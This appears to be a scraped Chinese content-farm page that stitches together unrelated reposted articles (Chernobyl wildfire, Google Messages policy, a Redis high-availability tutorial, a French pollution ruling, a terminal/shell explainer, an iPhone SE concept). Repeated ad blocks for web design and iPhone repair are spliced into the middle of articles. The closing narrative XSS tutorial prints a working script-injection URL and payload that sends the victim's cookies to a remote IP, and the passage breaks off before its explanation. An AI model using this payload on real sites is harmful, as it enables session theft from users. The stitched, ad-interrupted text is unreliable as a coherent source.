車諾比核災遺跡周圍 野火連燒10日難撲滅_網頁設計

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

摘錄自2020年4月14日公視報導

車諾比核電廠周圍發生森林野火,連燒10天仍無法撲滅,恐帶來輻射汙染。不過烏克蘭政府強調,火勢已受控制。

野火4月初從核災禁區西部開始竄出。烏克蘭政府出動超過300名消防員、六架直升機和飛機前往搶救,並表示火勢已受控制。但綠色和平組織俄羅斯分部指出,情況比烏克蘭當局認為的要嚴重得多。

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

綠色和平引用衛星圖像,指出當地至少發生2起火災,最大火場的焚燒面積已達3萬多公頃,比台北市還大。更令人擔憂的是,其中一起火災蔓延超過1萬2000公頃,距離核電廠遺跡只有1公里。當地旅遊業者也指出,火勢已經燒到廢棄城市普里雅特,離放射性廢料最活躍的地區,只有2公里。阿里莫夫指出,「放射核種仍殘留在森林中,這意味著樹木是被污染的,也表示在大火中,放射核種會和煙霧還有其它焚燒產生的物質隨風飄散,包括銫-137。」

綠色和平的說法不是空穴來風,野火竄出不久,烏克蘭國家生態監測服務局局長曾前往火場附近測試輻射值,結果比正常值高出16倍。不過政府否認這項說法,強調禁區輻射值沒有變化,首都基輔附近也沒有超過自然輻射值。警方則指出,野火起因可能是有人縱火,他們已逮捕一名嫌犯。

土地水文
能源議題
能源轉型
土地利用
國際新聞
烏克蘭
森林大火
車諾比
災害
核能

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

Google 打算阻止在未經認證手機運行「訊息」應用,或從 3 月底開始實施_網頁設計

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

Google 訊息應用因為 RCS 和方便的網頁版等獨特功能,已經成為 Android 生態系統中除了社群軟體外頗受歡迎且不可缺少的應用程式,比許多手機廠商預載的訊息應用程式更加便利好用。不過看來在今年稍晚,Google 打算不再讓未經認證的手機運行這款應用。

Google 打算阻止在未經認證手機運行「訊息」應用,或從 3 月底開始實施

一款搭載 Android 系統的手機要正式被視為是 Android 認證設備,必須在產品發表前就完成了 Google 認證流程,然後才能安裝與提供整套的 Google Mobile Services (GMS)套裝應用,其中包含 Google Play 等屬於關鍵性的應用程式。在過去曾經可以藉由用戶手動安裝的方式在未經認證的 Android 上使用,值到 2 年前,Google 開始阻止未經認證的裝置,甚至不允許這些裝置登入 Google 帳號。

從廣義上來說, Google 訊息與未經認證的 Android 手機無關,因為在大多數設備上皆未預裝訊息應用程式,所以用戶必須從 Google Play 中手動下載安裝,但隨著 Google 訊息 7.2 測試版的推出,國外媒體 9to5Google 在應用程式代碼中發現一段新的通知訊息,表示從 3 月底開始,訊息應用將停止在未經認證的設備上運作。

這項政策改變的一個潛在原因在於最近 Google 在訊息應用中添加了點對點加密來強化安全性,在去年時,Google 重申華為手機用戶不應該將手機刷成 GMS 服務的,並且強調未經認證的設備因為沒有經過安全性驗證,因此訊息加密可能會因此而被破壞。

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

◎資料來源: 9to5Google 

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

Redis高可用-主從,哨兵,集群_網頁設計

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

主從複製

Master-Slave主從概念

同時運行多個redis服務端,其中一個作為主(master),其他的一個或多個作為從(slave),主從之間通過網絡進行通訊,slave通過複製master的數據來保持與master的數據同步,實現數據冗餘;

在Redis中,配置主從複製非常簡單,Redis允許slave實例對master進行完整拷貝,在連接斷開時,slave會自動重新連接至主實例,並盡可能與master保持同步;

三個主要機制:

  • 當連接可用時,master將發送命令流到slave來使salve保持更新,以下操作將引發該操作,對msater數據的寫入操作(包括刪除更新),key過期;
  • master和slave節點都會進行超時檢測,當連接不穩定時,slave將儘快重新連接並進行部分重新同步,即不需要完全重新同步;
  • 若無法進行部分重新同步,則slave將發起完全重新同步,master會將最新的數據快照發送給slave,後續的操作仍然是發送命令流;

其他特性:

主從之間,採用異步複製,複製過程中依然可以正常響應客戶端操作,支持一主多從,且從節點還可以類似的級聯其他從節點,如圖所示:

主從複製的作用:

  • 使用主從複製,能夠避免Redis的單點故障,實現數據防災備份;
  • 可配置主節點執行寫入,多個從節點分擔查詢,實現讀寫分離獲得更好的性能

注意:使用主從來做讀寫分離時,意味主節點自身沒有任何持久化數據;如果配置了哨兵,一旦節點重啟,則將使用空數據進行同步,導致從節點覆蓋所有持久化數據,這是非常危險的,牆裂建議在主節點和從節點上開啟持久化,如果一定要關閉,則必須配置主節點禁止哨兵自動重啟故障節點;具體故障模式:連接

配置:

#配置文件中按以下方式添加主節點的ip 和端口即可
replicaof 192.168.1.1 6379
#若主節點配置了授權密碼則需要指定密碼
masterauth 密碼
#主節點通過以下方式設置授權密碼
requirepass 密碼
#客戶端連接后需要先驗證密碼
auth 密碼

#可通過以下指令查看當前連接的服務的主從信息
info replication

副本只讀:

默認情況下副本是只讀的,若需要可以通過配置replica-read-onlyno來使副本變為可寫的,但是要強調的是副本寫入的數據,僅寫入到當前副本本地,不會同步至任何節點,包括當前副本的副本;當副本重啟后這寫數據將消失,即臨時數據;

哨兵

哨兵(Sentinel) 是為redis提供了高可用性(high available/HA),使用Sentinel部署Redis時,可實現在無需人工干預的情況下,自動完成固定類型的故障修復;是Redis盡可能處於正常工作狀態;

哨兵的主要功能:

  • 集群監控:監控redis各個節點是否正常工作;
  • 消息通知:當某個節點出現故障時,可通過API\通知系統管理員或是其他程序;
  • 故障轉移(failover):當master無法無法正常工作時,哨兵可以啟動故障轉移過程,該過程會將某一個slave節點提升為master節點,並主動通知使用redis服務器的應用程序要使用新的地址;
  • ​ 配置中心:當客戶端連接至哨兵時,可通過哨兵獲取可用的Redis服務信息;

哨兵的分佈式性質:

Sentinel本身是一個分佈式系統,即會有多個Sentinel進程通過網絡協同合作,具有以下優點:

  • 當多個哨兵就某一master不可用這一事實達成共識,才會進行故障轉移,降低了因網絡波動造成誤報的可能性;

  • 即使一些哨兵進程無法工作時,其他可用的哨兵仍然能夠正常工作,提供了整個系統應對故障的能力;

    反過來,如果只有單獨的一個哨兵進程實際上是沒有辦法提供高可用的;

啟動哨兵

哨兵的執行文件本質就是redis的服務端,只不過運行的模式不同了,另外運行哨兵必須提供配置文件,否則將拒絕啟動;

首先需要準備配置文件,在下載的源碼中找到sentinel.conf 為了後續方便修改可以將其複製到bin目錄下

指定master的地址和端口

sentinel monitor mymaster 127.0.0.1 6379 2

啟動哨兵的命令有兩種寫法:

#方式1
redis-sentinel sentinel.conf
#方式1
redis-server sentinel.conf --sentinel

若啟動哨兵成功可以在控制台中看到其輸出的master節點信息;

默認情況下哨兵監聽在26379端口上,若開啟了防火牆則需要開放該端口,否則哨兵無法正常工作;

完成故障切換的過程

故障切換的定義:

​ 當master不可用時將一個可用的slave提升稱為master,使結點保持正常訪問;

基於網絡存在不穩定性這個特性,一些時候某個哨兵進程可能無法與master正常通訊,但是這並不意味這master真的不可用了,哨兵無法就此認定master不可用這一事實,哨兵需要能夠檢測master是否客觀的不可用了,並在master不可用成為客觀事實后開始執行故障切換;

  1. 每個Sentinel(哨兵)進程以每秒鐘一次的頻率向整個集群中的Master主服務器,Slave從服務器 以及其他Sentinel(哨兵)進程發送一個 PING 命令
  2. 如果一個實例(instance)距離最後一次有效回復 PING 命令的時間超過 down-after- milliseconds 選項所指定的值,則這個實例會被 Sentinel(哨兵)進程標記為主觀下線(sdown)
  3. 如果一個Master主服務器被標記為主觀下線(SDOWN),則正在監視這個Master主服務器的所有Sentinel(哨兵)進程要以每秒一次的頻率確認Master主服務器的確進入了主觀下線狀態。
  4. 當有足夠數量的 Sentinel(哨兵)進程(大於等於配置文件指定的值)在指定的時間範圍內確認Master主服務器進入了主觀下線狀態(SDOWN), 則Master主服務器會被標記為客觀下線(ODOWN)。
  5. 在一般情況下, 每個Sentinel(哨兵)進程會以每 10 秒一次的頻率向集群中的所有Master主服務器、Slave從服務器發送 INFO 命令。
  6. 當Master主服務器被 Sentinel(哨兵)進程標記為客觀下線(ODOWN)時,Sentinel(哨兵)進程向下線的 Master主服務器的所有 Slave從服務器發送 INFO 命令的頻率會從 10 秒一次改為每秒一次。
  7. 若沒有足夠數量的 Sentinel(哨兵)進程同意 Master主服務器下線, Master主服務器的客觀下線狀態就會被移除。若 Master主服務器重新向 Sentinel(哨兵)進程發送 PING 命令返回有效回 復,Master主服務器的主觀下線狀態就會被移除。

故障切換涉及到的事件和參數:

  • sdown:主觀下線,當某個哨兵與master之間在指定時間內無法正常通訊后該哨兵將產生sdown事件

  • quorum(仲裁數):是一個整數,表示master從主觀下線變為客觀下線所需要的哨兵數量(但有quorum個哨兵與master通訊失敗則master進入主觀下線)

  • odown:當sdown的事件的數量達到指定值(quorum)時,將產odown事件,表示master客觀下線了;

  • majority(大多數):是一個整數,該值通過計算自動得出,計算公式為floor(哨兵總數量/2)+1 floor為下取整

當odown產生時,會選出一個哨兵準備進行故障切換,在切換前該哨兵還需要獲得大多數(majority)哨兵的授權,授權成功則開始進行故障切換;

故障切換完成后,若先前宕機的節點(原來的master)恢復正常,則該節點會降為slave;

部署Sentinel的基本知識

  • 哨兵應與分佈式的形式存在,若哨兵僅部署一個則實際上沒有辦法提高可用性,當僅有的哨兵進程遇到問題退出后,則無法完成故障恢復;

  • 一個健壯的部署至少需要三個Sentinel實例

  • 三個哨兵應該部署在相互的獨立的計算機或虛擬機中;

  • Sentinel無法保證在執行故障轉移期間的寫入的數據是否能夠保留下來;

部署案例:

下例圖中名稱的釋義:
S:sentinel

M:master

R:replace(slave)

1.不要採用下例部署

上述部署中若M1(包括S1,因為在同一個機器上)宕機,剩下的S2雖然可以認定M1主觀下線,但是卻無法得到大多數哨兵的授權並開始故障切換,因為此時majority為2;

2.簡單且實用的部署

上述部署由三個節點組成,每個節點都運行着Redis進程和Sentinel進程,結構簡單,安全性也有了提高;

當M1發生故障時,S2和S3可以就該故障達成一致,並且能夠授權進行故障切換,從而使得客戶端可以正常使用;但也存在丟失已寫入數據的情況,因為redis內部使用異步複製,Master和Slave之間的數據在某個時間點可能不一致;

注意:

由於網絡存在分區性質,若客戶端C1和M1處於同一分區,但是該分區與S1,S2所在的分區無法通訊時,C1可以繼續向M1寫入數據,這寫數據將丟失,因為當網絡恢復時,M1可會被降為slave,而丟棄自己原本的數據;

使用下例配置可緩解該問題:

min-replicas-to-write 1
min-replicas-max-lag 5

上述配置表示,只要master無法寫入數據到任何一個slave超過5秒,則master停止接受寫入;

3.在客戶端部署哨兵

若某些原因導致沒有足夠的服務器節點用於部署哨兵,則可以將哨兵部署至客戶端,如下所示

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

若M1出現故障,則S1,S2,S3可順利的進行故障切換;但要注意該部署可能出現案例2中的問題

當然你也可以在客戶端和服務端同時部署哨兵;

配置示例:

#指出master地址和端口  以及仲裁數
sentinel monitor mymaster 127.0.0.1 6379 2
# 與master通訊超時時間,達到超時時間則sdown+1
sentinel down-after-milliseconds mymaster 60000
# 同一個master,開始新的故障轉移的時間(將是上一次的兩倍)
# 若slave連接到錯誤的master超過這個時間后slave將被重新連接到正確的master
# 取消正在進行中的故障轉移等待時間
# 按照parallel-syncs指定的配置進行複製的時間,超時候將不再受parallel-syncs的限制
sentinel failover-timeout mymaster 180000
# 發生故障轉移后,同時進行同步的副本數量
sentinel parallel-syncs mymaster 1

集群

Redis 集群是一個提供在多個Redis間節點間共享數據的程序集。

Redis集群並不支持處理多個keys的命令(如mset),因為這需要在不同的節點間移動數據,從而達不到像Redis那樣的性能,在高負載的情況下可能會導致不可預料的錯誤.

Redis 集群通過分區來提供一定程度的可用性,在實際環境中當某個節點宕機或者不可達的情況下繼續處理命令. Redis 集群的優勢:

  • 自動分割數據到不同的節點上。
  • 整個集群的部分節點失敗或者不可達的情況下能夠繼續處理命令。

示意圖:

集群的數據分片

Redis 集群沒有使用一致性hash, 而是引入了 哈希槽的概念.

Redis 集群有16384個哈希槽,每個key通過CRC16算法校驗后對16384取模來決定放置哪個槽.集群的每個節點負責一部分hash槽,舉個例子,比如當前集群有3個節點,那麼:

  • 節點 A 包含 0 到 5500號哈希槽.
  • 節點 B 包含5501 到 11000 號哈希槽.
  • 節點 C 包含11001 到 16384號哈希槽.

這種結構很容易添加或者刪除節點. 比如如果我想新添加個節點D, 我需要從節點 A, B, C中得部分槽到D上. 如果我想移除節點A,需要將A中的槽移到B和C節點上,然後將沒有任何槽的A節點從集群中移除即可. 由於從一個節點將哈希槽移動到另一個節點並不會停止服務,所以無論添加刪除或者改變某個節點的哈希槽的數量都不會造成集群不可用的狀態.

客戶端可以訪問任意節點進行讀寫操作,若哈希槽不在當前訪問的節點redis會自動的將指令移動到相關節點上;

主從複製模型

為了使在部分節點失敗或者大部分節點無法通信的情況下集群仍然可用,集群使用了主從複製模型,每個節點都會有至少一個slave;

集群在沒有slave的情況下,如果某個節點故障了,那麼整個集群就會以為缺少一部分槽而不可用.

然而如果在創建集群時為每個節點都添加了從節點,在某個節點故障后,其從節點將被選舉為新的主節點,整個集群就不會因找不到槽而不可用,當然若某個節點與其所有子節點都故障了那麼整個節點將不可用;

一致性保證

Redis 並不能保證數據的強一致性. 這意味這在實際中集群在特定的條件下可能會丟失寫操作,主要有兩方面原因:

  • 主節點到從節點之間的指令複製是異步完成的,主從之間在某個時間點可能不一致
  • 出現網絡分區,導致主節點可正常寫入,但是從節點已經被其他分區節點選舉為新的master,寫入的數據將丟失

容錯性

當某master節點故障時,其他master節點將發起投票,若一半以上的master認為其不可用,則從該節點的從節點中(若存在)選舉新的master;

若該master沒有從節點,則集群將不可用

另外當集群一半以上的節點都不可用時則無論這些節點是否有從節點,集群立即不可用;

創建集群:

Redis在5.0版本時放棄了Ruby集群的方式,改為C語言編寫的 redis-cli方式,使得集群的構建方式複雜度大大降低。

集群至少需要三個節點,每個節點一個從節點總共為6個

  1. 配置:

    若要以集群方式運行,則需要按以下方式修改配置文件,以啟用集群:

    cluster-enabled yes
    

    在實際開發中仍然建議使用單獨的虛擬機來部署所有的redis節點,下例為了簡化操作,在同一台虛擬機上搭建集群來進行測試:

  2. 添加上述配置后將bin目錄複製6分名稱為7001-7006,端口從7001-7006

  3. 分別啟動6個redis示例

  4. 使用redis-cli創建集群

    redis-cli --cluster create 10.211.55.9:7001 10.211.55.9:7002 10.211.55.9:7003 10.211.55.9:7004 10.211.55.9:7005 10.211.55.9:7006 --cluster-replicas 1
    

    過程中集群將重寫配置文件,需輸入yes確認

    創建完成后提示如下信息:

    ![image-20200602174849244](/Users/jerry/Library/Application Support/typora-user-images/image-20200602174849244.png)

    可以看到,集群自動為每個master平均分配了哈希槽,並且設置了一個slave

  5. 連接集群

    ./redis-cli -h 10.211.55.9 -p 7001 -c
    # 參數 -c 即表示連接到集群
    
  6. 查看集群狀態

    cluster info
    
  7. 查看節點信息,包括ip,port,id,槽,主/從;

    cluster nodes
    

添加節點

Redis集群支持動態擴展,期間redis可正常響應客戶端訪問

  1. 首先製作新的redis實例端口為7007並啟動

  2. 添加到集群中

    ./redis-cli --cluster add-node 10.211.55.9:7007 10.211.55.9:7001
    

    添加成功:

  3. 新的節點默認作為master,但是該master沒有分配槽位,使用前必須分配哈希槽

    下例表示從id為cc2e48268ccdd52d1c7840c8f9d2d7f15cc74c1b的節點移動1000個槽到cda3828e42e23dcbdb141db2fed221bc07c59f65節點

    ./redis-cli --cluster reshard 10.211.55.9:7001 --cluster-from cc2e48268ccdd52d1c7840c8f9d2d7f15cc74c1b --cluster-to cda3828e42e23dcbdb141db2fed221bc07c59f65 --cluster-slots 1000
    #--cluster-from  來源節點 多個之前用逗號隔開, all 表示從所有節點中平均分配
    #--cluster-to    目標節點
    #--cluster-slots 1000  移動哈希槽數量
    
  4. 為新的master添加從節點

  • 再次啟動一個新的實例

    • 添加至集群並指定為某master的slave

      ./redis-cli --cluster add-node 10.211.55.9:7008 10.211.55.9:7001 --cluster-slave --cluster-master-id cda3828e42e23dcbdb141db2fed221bc07c59f65
      #--cluster-slave 指定新節點作為slave
      #--cluster-master-id 指定新節點的master
      

刪除節點

  1. 刪除從節點7008

    ./redis-cli --cluster del-node 10.211.55.9:7008 887d2f115f6a94bda86863576d73a131f12229d5
    #指定集群host:port  和要刪除的節點id
    
  2. 將主節點的哈希槽分配給其他的主節點

    /redis-cli --cluster reshard 10.211.55.9:7001 --cluster-from cda3828e42e23dcbdb141db2fed221bc07c59f65 --cluster-to cc2e48268ccdd52d1c7840c8f9d2d7f15cc74c1b 
    
  3. 刪除主節點

    ./redis-cli --cluster del-node 10.211.55.9:7007 887d2f115f6a94bda86863576d73a131f12229d5
    #指定集群host:port  和要刪除的節點id
    
  4. 哈希槽均衡,該操作檢查各節點的槽均衡情況,若差異較大則自動重新分配

    ./redis-cli --cluster rebalance 10.211.55.9:7001
    

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

法國政府抗污染不力 行政法院揚言祭天價罰款_網頁設計

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

摘錄自2020年07月11日中央通訊社法國報導

法國最高行政法院命令政府立刻採取措施對抗首都巴黎與部分地區的污染,否則將祭出一年2000萬歐元(新台幣約6.7億元)的天價罰款。

美聯社報導,法國政府未能達成歐盟2017年減少污染的法規後,法國最高行政法院(Council of State)昨(10日)公布,鑑於「遵守歐盟法律的重要性,以及關乎公共衛生後果的嚴重性」,罰款是必要的。

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

裁決提到可能的罰款為一天5萬4000歐元,創下法國最高行政法院祭出的罰款紀錄,法院還揚言,若法國政府無作為,甚至會提高罰款。這些罰款將提供給環保團體用以對抗污染。

針對這項裁決,法國政府沒有立刻做出回應。

污染治理
國際新聞
法國
罰款

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

一篇文章帶你快速弄清楚什麼是終端_網頁設計

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

Linux的使用者可能每天都會接觸到 Bash、Shell、控制台、終端。它們之間有什麼不同嗎?本文為你快速解釋這些概念以及它們的區別。

  

什麼是終端

 

首先我們來弄清楚什麼是終端(terminal)。按照百度百科的解釋是:“經由通信設施向計算機輸入程序和數據或接收計算機輸出處理結果的設備。” 聽起來似乎有點晦澀,其實用台式PC機來舉例就很容易理解了。一台台式機是由主機(機箱)和很多外圍設備組成的。主機裡邊包括主板、CPU、內存、硬盤、和其他芯片等等。外圍設備包括显示器、鼠標、鍵盤、耳機、麥克風、和攝像頭等等。這些外圍設備就被稱為終端,負責向主機輸入數據的就叫輸入終端,比如鼠標、鍵盤、麥克風、攝像頭,負責接收主機輸出數據的設備就被稱作輸出終端,比如显示器、耳機。

 

 

所以有兩個概念我們這裏就清楚了:

計算機 = 主機 + 終端

終端 = 輸入終端 + 輸出終端

  

終端的類型

 

終端,除了可以分為輸入終端與輸出終端外,還可以按照與主機的距離可以本地終端和遠程終端,或者按照與主機的連接方式分成物理終端和虛擬終端。

 

舉個例子,比如我們在杭州的某個機房裡有一台服務器,用VGA線接了一台显示器,用USB連接了鍵盤,那麼這台显示器和這個鍵盤就是服務器的本地終端。假如我們在隔壁機房用串口線又接了一個显示器和鍵盤,那它們就可以稱為遠程終端。不管是在本地機房還是隔壁機房,因為這幾個終端和服務器都是通過物理設備直接連接的,所以它們都被稱為物理終端。物理終端在 Linux中被標識為 tty。它是teletype的縮寫,因為在計算機早期的時候,Ken Thompson 和 Dennis Ritchie用電傳打印機作為他們  Unix 服務器的終端(參考《Linux,Unix,GNU 到底有什麼樣的淵源?》),所以這個名字就這樣被沿用了下來。

 

假如我們在上海的家裡通過 ssh 遠程登陸杭州的服務器,那麼我們在家中用的設備就是服務器的遠程終端,也是一個虛擬終端(因為沒有與服務器在本地用物理設備連接)。虛擬終端在 Linux 中用 pts (pseudo termial slave)來標識。用 who 命令可以查看當前登陸系統的用戶,以及他們所使用的終端類型。

 

 

什麼是控制台

 

控制台(console)與終端現在已經幾乎表示同一個意思了,但是在計算機發展的早期它們還是有本質區別的。最初,大型計算機(可能有幾間屋子那麼大)只有一個終端,被稱為”控制台“,而它真的是一個控制台,就像下面這張圖這樣,有很多的儀錶和開關,技術人員就是通過它來對計算機發出指令。那個時候計算機雖然很大,但每次只能有一個人來操作,並且一次也只能運行一個程序。後來Ken Thompson 和 Dennis Ritchie發明了Unix,於是操作系統可以同時運行多個程序,並且支持多個用戶同時登陸。這樣一來,僅有一個控制台就顯得不夠了。因為控制台又很貴,所以 Ken Thompson 和 Dennis Ritchie就用了相對便宜的電傳打字機作為新增加的終端連接到他們的計算機上。雖然一台計算機可以連接很多個終端,但這裏邊只能有一個控制台,並且控制台的權限要遠大於其他的終端,比如當系統發生啟動錯誤時,只有控制台會显示錯誤消息,而其他終端不會;或者當系統進入單用戶登陸模式時,只有通過控制台才能進行登陸,而通過其他終端沒有辦法登陸。所以如果用一句話來總結控制台與終端的區別,可以說控制台是計算機最早的以及權限最大的一個終端。

 

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

  

什麼是 Shell 和 Bash

 

終端和主機雖然連接起來了,但是計算機還是需要一個程序才能明白我們輸入的命令,這個程序就是 Shell。我們的命令就是通過終端輸入到 Shell 里,再由 Shell 轉換成計算機明白的指令,然後計算機才能運行。

 Shell 有很多種,我們最常用的是 Bash,另外還有Csh, Ksh, Zsh等等。對於Bash,Linux的用戶應該每天都在使用,這裏就不再展開介紹了。

  

最後

 

控制台、終端、Shell、Bash 這些名詞經常被大家混淆,雖然今天在很多場合它們經常被替換使用,大家也都明白,不過希望通過本文大家可以弄清楚它們之間的區別和聯繫。

 

 

推薦閱讀:

《一篇文章看清楚 Linux 的職業發展方向》

《2020年你最需要掌握的11種編程語言》

《微軟:懸賞10萬美金破解 Linux 系統》

《安卓到底是不是Linux》

《在 Linux 系統中如何管理 systemd 服務》

《Linux的運行級別與目標》

《軟鏈接 vs. 硬鏈接》

 

 

 

歡迎大家關注我的微信公眾號,獲取知識乾貨、增加面試經驗、了解程序人生。
回復【面試】,獲取技術大廠面試寶典

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

國外設計師分享 iPhone SE 2021 概念圖,無邊框與挖孔螢幕、側邊電源鍵指紋解鎖_網頁設計

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

雖然去年 Apple 已經更新過 iPhone SE 2020,就產品週期來看今年應該不太可以有新款,但近期又有一支 iPhone SE Plus 的傳言傳出,如果真有 Plus 版本,那 iPhone SE 2021 也不無可能,最近國外就有設計師製作出一組 iPhone SE 2021 的概念圖,不得不說看起來還蠻正點的,下面分享給大家。

國外設計師分享 iPhone SE 2021 概念圖

Svetapple 近日分享一組 iPhone SE 2021 的概念設計圖,其靈感是來自 iPhone 12 mini,尺寸大致相同,不過螢幕部分改成挖孔面板,變成只有相機鏡頭,意味著現行的 iPhone SE 2020 正面上下黑邊都會消失:

Svetapple 也提到,iPhone SE 2021 不太可能會有 Face ID 臉部解鎖,因為這位將成本提高,售價變更貴,不符合這支的定位。至於原有的 Touch ID 指紋解鎖則移到側邊電源鍵上,就跟 iPad Air(第四代一樣)。

尺寸為 5.4 吋,改搭載 OLED 螢幕,顯示畫面將更加漂亮。主相機依舊只有一顆鏡頭,採 1,200 萬畫素與支援人像模式等功能,

硬體方面可能會搭載 A14 處理器,內建 4GB RAM,也提供 64GB、128GB 與 256GB 三種容量選擇,下圖為完整概念規格:

整體來看,iPhone SE 2021 採用這設計看起來相當合理,再加上外界也曾謠傳因銷售不如預期,下一代 iPhone mini 搞不好會被取消,如果真是這樣,iPhone SE 2021 就有機會取代 iPhone mini,規格當然多少會提升。

不過面板改成挖孔之後,成本一定會比現行的 iPhone SE 2020 還高,意味著售價會變更貴,Svetapple 也預測變成 499 美元起。

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

下方是上週 Apple Lab 分享的 iPhone SE Plus 傳言:

iPhone SE Plus
– Display: 6.1″ (IPS)
– Chip: Apple A14 (A13) Bionic
– Camera: Main: 12Mp (iSight), Sefie 7Mp (FaceTime HD)
– Features: 6 Portrait Light effect / OIS / Smart HDR 3 / IP67 / Color (Black / Red / White?)
– Security: TouchID in Home Button
– Price: ≈499$ / ≈589€ pic.twitter.com/wQkz19QYoL

— Apple Lab (@aaple_lab) January 19, 2021

資料來源:Svetapple

BlackSight:讓老 iPhone 也能支援夜景模式的相機 App

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

一個神秘URL釀大禍,差點讓我背鍋!_網頁設計

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

神秘URL

我叫小風,是Windows帝國一個普通的上班族。上一回說到因為一個跨域請求,我差點丟了飯碗,好在有驚無險,我的職場歷險記還在繼續。

“叮叮叮叮~~~~”,鬧鐘又把我給吵醒了,我一看時間竟然已經這麼晚了。

我趕緊起身,準備要去上班,好不容易在那家瀏覽器公司謀了個差事,可不敢遲到。

今天又是普通的一天,很快就到了深夜,上網業務少了,我和小雪妹子一合計,夥同負責網絡連接的老白和負責存儲的小黑,一起打起了麻將。

一連打了幾圈,正在興頭上,公司的美女前台跑了過來,“你們幾個別玩了,上網業務來了。老白,這是URL,給”

我瞅了一眼這URL,看上去有些奇怪,不僅比之前見過的都長,貌似還夾雜着一些JavaScript代碼。

http://zone.oo.com/user/info.jsp?desc=”/><script>$(“body”).append(“<img src=’http://192.168.59.129?c=”+escape(document.cookie) + “‘>”)</script><!–

“老白,這URL長的好奇怪?會不會有什麼問題?”,我向老白問到。

“嗨,你小子就是新來的,我見過的URL比你執行過的JS代碼都多,什麼奇形怪狀的沒見過,大驚小怪”,老白不屑一顧。

“大家把牌蓋着,都別看,忙完了回來咱接着打”,老白繼續說到。

於是大家各歸各位,準備處理這一單上網業務。

很快,老白取回了這個URL背後的網頁,交給了小雪來解析渲染。

小雪做了一半,叫住了我:“風哥,又有 <script> 標籤了,該你上了”。

我接過小雪手裡的網頁,猛地一看,這不是剛剛URL裏面出現的代碼嗎?怎麼又跑到網頁裏面去了?

心裏突然湧上一種不好的預感,正在困惑之中,老白催我了,“小雪小風你倆趕緊的,網頁加載半天了還沒显示出來!”

但願是我多想了,我開始執行這 <script> 標籤中的代碼了。

<script>
  $("body").append("\<img src='http://192.168.59.129:10086?c=" 
  + escape(document.cookie) + "'>")
</script>

我要創建一個新的 <img> 標籤,添加到網頁正文中去。看了一下這個圖片的來源,是一個新的地址,再一看,還要把當前網站的Cookie帶着作為參數才能拿到這個圖片。

我來到小黑的存儲倉庫,準備向他索要Cookie。

當我表明來意以後,小黑也顯得有些謹慎,“按照公司規定,一個網站的Cookie是不能隨便給別的網站訪問的

“這我當然知道,不過現在是這個網站的JS代碼主動把Cookie取出來發給別人,這不算違反公司規定吧”,我解釋到。

小黑鄒着眉頭想了一想,也就同意了。

我拿到cookie后,構建了一個完整的 <img> 標籤添加到了網頁的DOM樹中,之後還給小雪繼續渲染。

網頁很快渲染完成展示出來了,忙完之後我們繼續開始未完的牌局。

過了一會兒,人類終於關掉了瀏覽器,我們也可以下班了······

XSS跨站腳本攻擊

第二天一早,我剛到公司,小雪妹子就轉過頭告訴我:“風哥,主管讓你去趟他的辦公室,他好像不太高興,你當心點”

“你知道是什麼事情嗎?”

